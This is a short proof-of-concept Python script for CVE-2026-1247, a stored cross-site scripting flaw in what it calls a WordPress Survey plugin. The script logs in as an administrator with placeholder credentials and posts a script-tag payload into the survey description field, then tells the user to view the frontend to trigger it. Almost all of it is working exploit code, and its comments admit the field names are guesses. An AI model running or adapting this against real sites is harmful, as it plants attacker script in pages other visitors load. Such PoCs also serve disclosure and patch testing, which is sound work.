CVE-2026-1247

# PoC for CVE-2026-1247 # This script simulates an authenticated admin injecting XSS payload via Survey plugin settings import requests # Target configuration target_url = "http://example.com/wp-admin/admin.php?page=survey_settings" login_url = "http://example.com/wp-login.php" # Attacker credentials (Admin level required) username = "admin" password = "password" # Malicious payload to be stored xss_payload = "<script>alert('CVE-2026-1247 XSS');</script>" # Create a session to maintain cookies session = requests.Session() # 1. Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=login_data) # 2. Inject Payload via Plugin Settings # Note: Field names depend on the actual plugin implementation post_data = { 'action': 'save_settings', 'survey_title': 'Survey Title', 'survey_description': xss_payload, # Injecting XSS into description field 'submit': 'Save Changes' } response = session.post(target_url, data=post_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the frontend page displaying the survey to trigger the XSS.") else: print("[-] Failed to inject payload.")

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